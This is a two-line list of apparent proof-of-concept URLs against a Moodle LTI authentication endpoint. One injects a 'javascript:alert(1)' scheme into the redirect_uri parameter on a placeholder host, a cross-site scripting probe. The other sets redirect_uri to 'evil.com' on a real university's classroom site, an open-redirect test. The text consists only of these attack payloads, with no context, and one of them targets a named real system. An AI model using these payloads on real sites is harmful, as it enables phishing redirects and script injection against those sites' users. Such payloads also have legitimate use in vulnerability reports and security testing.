https://target.com/mod/lti/auth.php?redirect_uri=javascript:alert(1)
https://classroom.its.ac.id/mod/lti/auth.php?redirect_uri=https://evil.com